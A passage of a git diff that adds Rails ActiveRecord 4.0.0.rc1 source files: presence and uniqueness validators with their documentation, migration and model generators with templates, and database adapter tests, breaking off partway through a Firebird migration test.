+module ActiveRecord
+ module Validations
+ class PresenceValidator < ActiveModel::Validations::PresenceValidator # :nodoc:
+ def validate(record)
+ super
+ attributes.each do |attribute|
+ next unless record.class.reflect_on_association(attribute)
+ associated_records = Array(record.send(attribute))
+
+ # Superclass validates presence. Ensure present records aren't about to be destroyed.
+ if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
+ record.errors.add(attribute, :blank, options)
+ end
+ end
+ end
+ end
+
+ module ClassMethods
+ # Validates that the specified attributes are not blank (as defined by
+ # Object#blank?), and, if the attribute is an association, that the
+ # associated object is not marked for destruction. Happens by default
+ # on save.
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :face
+ # validates_presence_of :face
+ # end
+ #
+ # The face attribute must be in the object and it cannot be blank or marked
+ # for destruction.
+ #
+ # If you want to validate the presence of a boolean field (where the real values
+ # are true and false), you will want to use
+ # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
+ #
+ # This is due to the way Object#blank? handles boolean values:
+ # <tt>false.blank? # => true</tt>.
+ #
+ # This validator defers to the ActiveModel validation for presence, adding the
+ # check to see that an associated object is not marked for destruction. This
+ # prevents the parent object from validating successfully and saving, which then
+ # deletes the associated object, thus putting the parent object into an invalid
+ # state.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
+ # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
+ # validation contexts by default (+nil+), other options are <tt>:create</tt>
+ # and <tt>:update</tt>.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
+ # the validation should occur (e.g. <tt>if: :allow_validation</tt>, or
+ # <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
+ # or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information.
+ def validates_presence_of(*attr_names)
+ validates_with PresenceValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
new file mode 100644
index 0000000..a705d8c
--- /dev/null
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -0,0 +1,225 @@
+module ActiveRecord
+ module Validations
+ class UniquenessValidator < ActiveModel::EachValidator # :nodoc:
+ def initialize(options)
+ if options[:conditions] && !options[:conditions].respond_to?(:call)
+ raise ArgumentError, "#{options[:conditions]} was passed as :conditions but is not callable. " \
+ "Pass a callable instead: `conditions: -> { where(approved: true) }`"
+ end
+ super({ case_sensitive: true }.merge!(options))
+ end
+
+ # Unfortunately, we have to tie Uniqueness validators to a class.
+ def setup(klass)
+ @klass = klass
+ end
+
+ def validate_each(record, attribute, value)
+ finder_class = find_finder_class_for(record)
+ table = finder_class.arel_table
+ value = deserialize_attribute(record, attribute, value)
+
+ relation = build_relation(finder_class, table, attribute, value)
+ relation = relation.and(table[finder_class.primary_key.to_sym].not_eq(record.id)) if record.persisted?
+ relation = scope_relation(record, table, relation)
+ relation = finder_class.unscoped.where(relation)
+ relation = relation.merge(options[:conditions]) if options[:conditions]
+
+ if relation.exists?
+ error_options = options.except(:case_sensitive, :scope, :conditions)
+ error_options[:value] = value
+
+ record.errors.add(attribute, :taken, error_options)
+ end
+ end
+
+ protected
+
+ # The check for an existing value should be run from a class that
+ # isn't abstract. This means working down from the current class
+ # (self), to the first non-abstract class. Since classes don't know
+ # their subclasses, we have to build the hierarchy between self and
+ # the record's class.
+ def find_finder_class_for(record) #:nodoc:
+ class_hierarchy = [record.class]
+
+ while class_hierarchy.first != @klass
+ class_hierarchy.unshift(class_hierarchy.first.superclass)
+ end
+
+ class_hierarchy.detect { |klass| !klass.abstract_class? }
+ end
+
+ def build_relation(klass, table, attribute, value) #:nodoc:
+ if reflection = klass.reflect_on_association(attribute)
+ attribute = reflection.foreign_key
+ value = value.attributes[reflection.primary_key_column.name]
+ end
+
+ column = klass.columns_hash[attribute.to_s]
+ value = klass.connection.type_cast(value, column)
+ value = value.to_s[0, column.limit] if value && column.limit && column.text?
+
+ if !options[:case_sensitive] && value && column.text?
+ # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
+ klass.connection.case_insensitive_comparison(table, attribute, column, value)
+ else
+ value = klass.connection.case_sensitive_modifier(value) unless value.nil?
+ table[attribute].eq(value)
+ end
+ end
+
+ def scope_relation(record, table, relation)
+ Array(options[:scope]).each do |scope_item|
+ if reflection = record.class.reflect_on_association(scope_item)
+ scope_value = record.send(reflection.foreign_key)
+ scope_item = reflection.foreign_key
+ else
+ scope_value = record.read_attribute(scope_item)
+ end
+ relation = relation.and(table[scope_item].eq(scope_value))
+ end
+
+ relation
+ end
+
+ def deserialize_attribute(record, attribute, value)
+ coder = record.class.serialized_attributes[attribute.to_s]
+ value = coder.dump value if value && coder
+ value
+ end
+ end
+
+ module ClassMethods
+ # Validates whether the value of the specified attributes are unique
+ # across the system. Useful for making sure that only one user
+ # can be named "davidhh".
+ #
+ # class Person < ActiveRecord::Base
+ # validates_uniqueness_of :user_name
+ # end
+ #
+ # It can also validate whether the value of the specified attributes are
+ # unique based on a <tt>:scope</tt> parameter:
+ #
+ # class Person < ActiveRecord::Base
+ # validates_uniqueness_of :user_name, scope: :account_id
+ # end
+ #
+ # Or even multiple scope parameters. For example, making sure that a
+ # teacher can only be on the schedule once per semester for a particular
+ # class.
+ #
+ # class TeacherSchedule < ActiveRecord::Base
+ # validates_uniqueness_of :teacher_id, scope: [:semester_id, :class_id]
+ # end
+ #
+ # It is also possible to limit the uniqueness constraint to a set of
+ # records matching certain conditions. In this example archived articles
+ # are not being taken into consideration when validating uniqueness
+ # of the title attribute:
+ #
+ # class Article < ActiveRecord::Base
+ # validates_uniqueness_of :title, conditions: -> { where.not(status: 'archived') }
+ # end
+ #
+ # When the record is created, a check is performed to make sure that no
+ # record exists in the database with the given value for the specified
+ # attribute (that maps to a column). When the record is updated,
+ # the same check is made but disregarding the record itself.
+ #
+ # Configuration options:
+ #
+ # * <tt>:message</tt> - Specifies a custom error message (default is:
+ # "has already been taken").
+ # * <tt>:scope</tt> - One or more columns by which to limit the scope of
+ # the uniqueness constraint.
+ # * <tt>:conditions</tt> - Specify the conditions to be included as a
+ # <tt>WHERE</tt> SQL fragment to limit the uniqueness constraint lookup
+ # (e.g. <tt>conditions: -> { where(status: 'active') }</tt>).
+ # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
+ # non-text columns (+true+ by default).
+ # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
+ # attribute is +nil+ (default is +false+).
+ # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+ # attribute is blank (default is +false+).
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should ot occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or +false+
+ # value.
+ #
+ # === Concurrency and integrity
+ #
+ # Using this validation method in conjunction with ActiveRecord::Base#save
+ # does not guarantee the absence of duplicate record insertions, because
+ # uniqueness checks on the application level are inherently prone to race
+ # conditions. For example, suppose that two users try to post a Comment at
+ # the same time, and a Comment's title must be unique. At the database-level,
+ # the actions performed by these users could be interleaved in the following manner:
+ #
+ # User 1 | User 2
+ # ------------------------------------+--------------------------------------
+ # # User 1 checks whether there's |
+ # # already a comment with the title |
+ # # 'My Post'. This is not the case. |
+ # SELECT * FROM comments |
+ # WHERE title = 'My Post' |
+ # |
+ # | # User 2 does the same thing and also
+ # | # infers that his title is unique.
+ # | SELECT * FROM comments
+ # | WHERE title = 'My Post'
+ # |
+ # # User 1 inserts his comment. |
+ # INSERT INTO comments |
+ # (title, content) VALUES |
+ # ('My Post', 'hi!') |
+ # |
+ # | # User 2 does the same thing.
+ # | INSERT INTO comments
+ # | (title, content) VALUES
+ # | ('My Post', 'hello!')
+ # |
+ # | # ^^^^^^
+ # | # Boom! We now have a duplicate
+ # | # title!
+ #
+ # This could even happen if you use transactions with the 'serializable'
+ # isolation level. The best way to work around this problem is to add a unique
+ # index to the database table using
+ # ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the
+ # rare case that a race condition occurs, the database will guarantee
+ # the field's uniqueness.
+ #
+ # When the database catches such a duplicate insertion,
+ # ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid
+ # exception. You can either choose to let this error propagate (which
+ # will result in the default Rails exception page being shown), or you
+ # can catch it and restart the transaction (e.g. by telling the user
+ # that the title already exists, and asking him to re-enter the title).
+ # This technique is also known as optimistic concurrency control:
+ # http://en.wikipedia.org/wiki/Optimistic_concurrency_control.
+ #
+ # The bundled ActiveRecord::ConnectionAdapters distinguish unique index
+ # constraint errors from other types of database errors by throwing an
+ # ActiveRecord::RecordNotUnique exception. For other adapters you will
+ # have to parse the (database-specific) exception message to detect such
+ # a case.
+ #
+ # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:
+ #
+ # * ActiveRecord::ConnectionAdapters::MysqlAdapter.
+ # * ActiveRecord::ConnectionAdapters::Mysql2Adapter.
+ # * ActiveRecord::ConnectionAdapters::SQLite3Adapter.
+ # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.
+ def validates_uniqueness_of(*attr_names)
+ validates_with UniquenessValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
new file mode 100644
index 0000000..a670e18
--- /dev/null
+++ b/activerecord/lib/active_record/version.rb
@@ -0,0 +1,11 @@
+module ActiveRecord
+ # Returns the version of the currently loaded ActiveRecord as a Gem::Version
+ def self.version
+ Gem::Version.new "4.0.0.rc1"
+ end
+
+ module VERSION #:nodoc:
+ MAJOR, MINOR, TINY, PRE = ActiveRecord.version.segments
+ STRING = ActiveRecord.version.to_s
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
new file mode 100644
index 0000000..c8aa37f
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -0,0 +1,23 @@
+require 'rails/generators/named_base'
+require 'rails/generators/migration'
+require 'rails/generators/active_model'
+require 'active_record'
+
+module ActiveRecord
+ module Generators # :nodoc:
+ class Base < Rails::Generators::NamedBase # :nodoc:
+ include Rails::Generators::Migration
+
+ # Set the current directory as base for the inherited generators.
+ def self.base_root
+ File.dirname(__FILE__)
+ end
+
+ # Implement the required interface for Rails::Generators::Migration.
+ def self.next_migration_number(dirname)
+ next_migration_number = current_migration_number(dirname) + 1
+ ActiveRecord::Migration.next_migration_number(next_migration_number)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
new file mode 100644
index 0000000..b967bb6
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -0,0 +1,62 @@
+require 'rails/generators/active_record'
+
+module ActiveRecord
+ module Generators # :nodoc:
+ class MigrationGenerator < Base # :nodoc:
+ argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
+
+ def create_migration_file
+ set_local_assigns!
+ validate_file_name!
+ migration_template @migration_template, "db/migrate/#{file_name}.rb"
+ end
+
+ protected
+ attr_reader :migration_action, :join_tables
+
+ def set_local_assigns!
+ @migration_template = "migration.rb"
+ case file_name
+ when /^(add|remove)_.*_(?:to|from)_(.*)/
+ @migration_action = $1
+ @table_name = $2.pluralize
+ when /join_table/
+ if attributes.length == 2
+ @migration_action = 'join'
+ @join_tables = attributes.map(&:plural_name)
+
+ set_index_names
+ end
+ when /^create_(.+)/
+ @table_name = $1.pluralize
+ @migration_template = "create_table_migration.rb"
+ end
+ end
+
+ def set_index_names
+ attributes.each_with_index do |attr, i|
+ attr.index_name = [attr, attributes[i - 1]].map{ |a| index_name_for(a) }
+ end
+ end
+
+ def index_name_for(attribute)
+ if attribute.foreign_key?
+ attribute.name
+ else
+ attribute.name.singularize.foreign_key
+ end.to_sym
+ end
+
+ private
+ def attributes_with_index
+ attributes.select { |a| !a.reference? && a.has_index? }
+ end
+
+ def validate_file_name!
+ unless file_name =~ /^[_a-z0-9]+$/
+ raise IllegalMigrationNameError.new(file_name)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
new file mode 100644
index 0000000..fd94a2d
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
@@ -0,0 +1,19 @@
+class <%= migration_class_name %> < ActiveRecord::Migration
+ def change
+ create_table :<%= table_name %> do |t|
+<% attributes.each do |attribute| -%>
+<% if attribute.password_digest? -%>
+ t.string :password_digest<%= attribute.inject_options %>
+<% else -%>
+ t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
+<% end -%>
+<% end -%>
+<% if options[:timestamps] %>
+ t.timestamps
+<% end -%>
+ end
+<% attributes_with_index.each do |attribute| -%>
+ add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+<% end -%>
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
new file mode 100644
index 0000000..ae9c74f
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
@@ -0,0 +1,39 @@
+class <%= migration_class_name %> < ActiveRecord::Migration
+<%- if migration_action == 'add' -%>
+ def change
+<% attributes.each do |attribute| -%>
+ <%- if attribute.reference? -%>
+ add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+ <%- else -%>
+ add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+ <%- if attribute.has_index? -%>
+ add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+ <%- end -%>
+ <%- end -%>
+<%- end -%>
+ end
+<%- elsif migration_action == 'join' -%>
+ def change
+ create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t|
+ <%- attributes.each do |attribute| -%>
+ <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %>
+ <%- end -%>
+ end
+ end
+<%- else -%>
+ def change
+<% attributes.each do |attribute| -%>
+<%- if migration_action -%>
+ <%- if attribute.reference? -%>
+ remove_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+ <%- else -%>
+ <%- if attribute.has_index? -%>
+ remove_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+ <%- end -%>
+ remove_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+ <%- end -%>
+<%- end -%>
+<%- end -%>
+ end
+<%- end -%>
+end
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
new file mode 100644
index 0000000..40e134e
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -0,0 +1,48 @@
+require 'rails/generators/active_record'
+
+module ActiveRecord
+ module Generators # :nodoc:
+ class ModelGenerator < Base # :nodoc:
+ argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
+
+ check_class_collision
+
+ class_option :migration, :type => :boolean
+ class_option :timestamps, :type => :boolean
+ class_option :parent, :type => :string, :desc => "The parent class for the generated model"
+ class_option :indexes, :type => :boolean, :default => true, :desc => "Add indexes for references and belongs_to columns"
+
+ def create_migration_file
+ return unless options[:migration] && options[:parent].nil?
+ attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
+ migration_template "../../migration/templates/create_table_migration.rb", "db/migrate/create_#{table_name}.rb"
+ end
+
+ def create_model_file
+ template 'model.rb', File.join('app/models', class_path, "#{file_name}.rb")
+ end
+
+ def create_module_file
+ return if regular_class_path.empty?
+ template 'module.rb', File.join('app/models', "#{class_path.join('/')}.rb") if behavior == :invoke
+ end
+
+ def attributes_with_index
+ attributes.select { |a| !a.reference? && a.has_index? }
+ end
+
+ def accessible_attributes
+ attributes.reject(&:reference?)
+ end
+
+ hook_for :test_framework
+
+ protected
+
+ def parent_class_name
+ options[:parent] || "ActiveRecord::Base"
+ end
+
+ end
+ end
+end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
new file mode 100644
index 0000000..8085986
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -0,0 +1,10 @@
+<% module_namespacing do -%>
+class <%= class_name %> < <%= parent_class_name.classify %>
+<% attributes.select(&:reference?).each do |attribute| -%>
+ belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
+<% end -%>
+<% if attributes.any?(&:password_digest?) -%>
+ has_secure_password
+<% end -%>
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/module.rb b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
new file mode 100644
index 0000000..a3bf1c3
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
@@ -0,0 +1,7 @@
+<% module_namespacing do -%>
+module <%= class_path.map(&:camelize).join('::') %>
+ def self.table_name_prefix
+ '<%= namespaced? ? namespaced_class_path.join('_') : class_path.join('_') %>_'
+ end
+end
+<% end -%>
diff --git a/activerecord/test/.gitignore b/activerecord/test/.gitignore
new file mode 100644
index 0000000..a0ec596
--- /dev/null
+++ b/activerecord/test/.gitignore
@@ -0,0 +1 @@
+/config.yml
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
new file mode 100644
index 0000000..59324c4
--- /dev/null
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -0,0 +1,45 @@
+module ActiveRecord
+ module ConnectionHandling
+ def fake_connection(config)
+ ConnectionAdapters::FakeAdapter.new nil, logger
+ end
+ end
+
+ module ConnectionAdapters
+ class FakeAdapter < AbstractAdapter
+ attr_accessor :tables, :primary_keys
+
+ @columns = Hash.new { |h,k| h[k] = [] }
+ class << self
+ attr_reader :columns
+ end
+
+ def initialize(connection, logger)
+ super
+ @tables = []
+ @primary_keys = {}
+ @columns = self.class.columns
+ end
+
+ def primary_key(table)
+ @primary_keys[table]
+ end
+
+ def merge_column(table_name, name, sql_type = nil, options = {})
+ @columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
+ name.to_s,
+ options[:default],
+ sql_type.to_s,
+ options[:null])
+ end
+
+ def columns(table_name)
+ @columns[table_name]
+ end
+
+ def active?
+ true
+ end
+ end
+ end
+end
diff --git a/activerecord/test/assets/example.log b/activerecord/test/assets/example.log
new file mode 100644
index 0000000..f084369
--- /dev/null
+++ b/activerecord/test/assets/example.log
@@ -0,0 +1 @@
+# Logfile created on Wed Oct 31 16:05:13 +0000 2007 by logger.rb/1.5.2.9
diff --git a/activerecord/test/assets/flowers.jpg b/activerecord/test/assets/flowers.jpg
new file mode 100644
index 0000000..fe9df54
Binary files /dev/null and b/activerecord/test/assets/flowers.jpg differ
diff --git a/activerecord/test/assets/test.txt b/activerecord/test/assets/test.txt
new file mode 100644
index 0000000..6754f06
--- /dev/null
+++ b/activerecord/test/assets/test.txt
@@ -0,0 +1 @@
+%00
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
new file mode 100644
index 0000000..e28bb7b
--- /dev/null
+++ b/activerecord/test/cases/adapter_test.rb
@@ -0,0 +1,211 @@
+require "cases/helper"
+require "models/book"
+
+module ActiveRecord
+ class AdapterTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
+
+ ##
+ # PostgreSQL does not support null bytes in strings
+ unless current_adapter?(:PostgreSQLAdapter)
+ def test_update_prepared_statement
+ b = Book.create(name: "my \x00 book")
+ b.reload
+ assert_equal "my \x00 book", b.name
+ b.update_attributes(name: "my other \x00 book")
+ b.reload
+ assert_equal "my other \x00 book", b.name
+ end
+ end
+
+ def test_tables
+ tables = @connection.tables
+ assert tables.include?("accounts")
+ assert tables.include?("authors")
+ assert tables.include?("tasks")
+ assert tables.include?("topics")
+ end
+
+ def test_table_exists?
+ assert @connection.table_exists?("accounts")
+ assert !@connection.table_exists?("nonexistingtable")
+ assert !@connection.table_exists?(nil)
+ end
+
+ def test_indexes
+ idx_name = "accounts_idx"
+
+ if @connection.respond_to?(:indexes)
+ indexes = @connection.indexes("accounts")
+ assert indexes.empty?
+
+ @connection.add_index :accounts, :firm_id, :name => idx_name
+ indexes = @connection.indexes("accounts")
+ assert_equal "accounts", indexes.first.table
+ # OpenBase does not have the concept of a named index
+ # Indexes are merely properties of columns.
+ assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+ assert !indexes.first.unique
+ assert_equal ["firm_id"], indexes.first.columns
+ else
+ warn "#{@connection.class} does not respond to #indexes"
+ end
+
+ ensure
+ @connection.remove_index(:accounts, :name => idx_name) rescue nil
+ end
+
+ def test_current_database
+ if @connection.respond_to?(:current_database)
+ assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database
+ end
+ end
+
+ if current_adapter?(:MysqlAdapter)
+ def test_charset
+ assert_not_nil @connection.charset
+ assert_not_equal 'character_set_database', @connection.charset
+ assert_equal @connection.show_variable('character_set_database'), @connection.charset
+ end
+
+ def test_collation
+ assert_not_nil @connection.collation
+ assert_not_equal 'collation_database', @connection.collation
+ assert_equal @connection.show_variable('collation_database'), @connection.collation
+ end
+
+ def test_show_nonexistent_variable_returns_nil
+ assert_nil @connection.show_variable('foo_bar_baz')
+ end
+
+ def test_not_specifying_database_name_for_cross_database_selects
+ begin
+ assert_nothing_raised do
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
+
+ config = ARTest.connection_config
+ ActiveRecord::Base.connection.execute(
+ "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
+ "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
+ )
+ end
+ ensure
+ ActiveRecord::Base.establish_connection 'arunit'
+ end
+ end
+ end
+
+ def test_table_alias
+ def @connection.test_table_alias_length() 10; end
+ class << @connection
+ alias_method :old_table_alias_length, :table_alias_length
+ alias_method :table_alias_length, :test_table_alias_length
+ end
+
+ assert_equal 'posts', @connection.table_alias_for('posts')
+ assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
+ assert_equal 'dbo_posts', @connection.table_alias_for('dbo.posts')
+
+ class << @connection
+ remove_method :table_alias_length
+ alias_method :table_alias_length, :old_table_alias_length
+ end
+ end
+
+ # test resetting sequences in odd tables in PostgreSQL
+ if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
+ require 'models/movie'
+ require 'models/subscriber'
+
+ def test_reset_empty_table_with_custom_pk
+ Movie.delete_all
+ Movie.connection.reset_pk_sequence! 'movies'
+ assert_equal 1, Movie.create(:name => 'fight club').id
+ end
+
+ if ActiveRecord::Base.connection.adapter_name != "FrontBase"
+ def test_reset_table_with_non_integer_pk
+ Subscriber.delete_all
+ Subscriber.connection.reset_pk_sequence! 'subscribers'
+ sub = Subscriber.new(:name => 'robert drake')
+ sub.id = 'bob drake'
+ assert_nothing_raised { sub.save! }
+ end
+ end
+ end
+
+ def test_uniqueness_violations_are_translated_to_specific_exception
+ @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+ assert_raises(ActiveRecord::RecordNotUnique) do
+ @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+ end
+ end
+
+ def test_foreign_key_violations_are_translated_to_specific_exception
+ unless @connection.adapter_name == 'SQLite'
+ assert_raises(ActiveRecord::InvalidForeignKey) do
+ # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+ if @connection.prefetch_primary_key?
+ id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+ @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+ else
+ @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ end
+ end
+ end
+ end
+
+ def test_disable_referential_integrity
+ assert_nothing_raised do
+ @connection.disable_referential_integrity do
+ # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+ if @connection.prefetch_primary_key?
+ id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+ @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+ else
+ @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ end
+ # should delete created record as otherwise disable_referential_integrity will try to enable constraints after executed block
+ # and will fail (at least on Oracle)
+ @connection.execute "DELETE FROM fk_test_has_fk"
+ end
+ end
+ end
+ end
+
+ class AdapterTestWithoutTransaction < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Klass < ActiveRecord::Base
+ end
+
+ def setup
+ Klass.establish_connection 'arunit'
+ @connection = Klass.connection
+ end
+
+ def teardown
+ Klass.remove_connection
+ end
+
+ test "transaction state is reset after a reconnect" do
+ skip "in-memory db doesn't allow reconnect" if in_memory_db?
+
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.reconnect!
+ assert !@connection.transaction_open?
+ end
+
+ test "transaction state is reset after a disconnect" do
+ skip "in-memory db doesn't allow disconnect" if in_memory_db?
+
+ @connection.begin_transaction
+ assert @connection.transaction_open?
+ @connection.disconnect!
+ assert !@connection.transaction_open?
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/firebird/connection_test.rb b/activerecord/test/cases/adapters/firebird/connection_test.rb
new file mode 100644
index 0000000..f57ea68
--- /dev/null
+++ b/activerecord/test/cases/adapters/firebird/connection_test.rb
@@ -0,0 +1,8 @@
+require "cases/helper"
+
+class FirebirdConnectionTest < ActiveRecord::TestCase
+ def test_charset_properly_set
+ fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
+ assert_equal 'UTF8', fb_conn.database.character_set
+ end
+end
diff --git a/activerecord/test/cases/adapters/firebird/default_test.rb b/activerecord/test/cases/adapters/firebird/default_test.rb
new file mode 100644
index 0000000..713c7e1
--- /dev/null
+++ b/activerecord/test/cases/adapters/firebird/default_test.rb
@@ -0,0 +1,16 @@
+require "cases/helper"
+require 'models/default'
+
+class DefaultTest < ActiveRecord::TestCase
+ def test_default_timestamp
+ default = Default.new
+ assert_instance_of(Time, default.default_timestamp)
+ assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
+
+ # Variance should be small; increase if required -- e.g., if test db is on
+ # remote host and clocks aren't synchronized.
+ t1 = Time.new
+ accepted_variance = 1.0
+ assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
+ end
+end
diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb
new file mode 100644
index 0000000..5c94593
--- /dev/null
+++ b/activerecord/test/cases/adapters/firebird/migration_test.rb
@@ -0,0 +1,124 @@
+require "cases/helper"
+require 'models/course'
+
+class FirebirdMigrationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
+ @connection = Course.connection
+ @fireruby_connection = @connection.instance_variable_get(:@connection)
+ end
+
+ def teardown
+ @connection.drop_table :foo rescue nil
+ @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
+ end
+
+ def test_create_table_with_custom_sequence_name
+ assert_nothing_raised do
+ @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
+ f.column :bar, :string
+ end
+ end
+ assert !sequence_exists?('foo_seq')
+ assert sequence_exists?('foo_custom_seq')
+
+ assert_nothing_raised { @connection.drop_table(:foo) }
+ assert !sequence_exists?('foo_custom_seq')
+ ensure
+ FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
+ end
+
+ def test_create_table_without_sequence
+ assert_nothing_raised do
+ @connection.create_table(:foo, :sequence => false) do |f|
+ f.column :bar, :string
+ end
+ end
+ assert !sequence_exists?('foo_seq')
+ assert_nothing_raised { @connection.drop_table :foo }
+
+ assert_nothing_raised do
+ @connection.create_table(:foo, :id => false) do |f|
+ f.column :bar, :string
+ end
+ end
+ assert !sequence_exists?('foo_seq')
+ assert_nothing_raised { @connection.drop_table :foo }
+ end
+
+ def test_create_table_with_boolean_column
+ assert !boolean_domain_exists?
+ assert_nothing_raised do
+ @connection.create_table :foo do |f|
+ f.column :bar, :string
+ f.column :baz, :boolean
+ end
+ end
+ assert boolean_domain_exists?
+ end
+
+ def test_add_boolean_column
+ assert !boolean_domain_exists?
+ @connection.create_table :foo do |f|
+ f.column :bar, :string
+ end
+
+ assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
+ assert boolean_domain_exists?
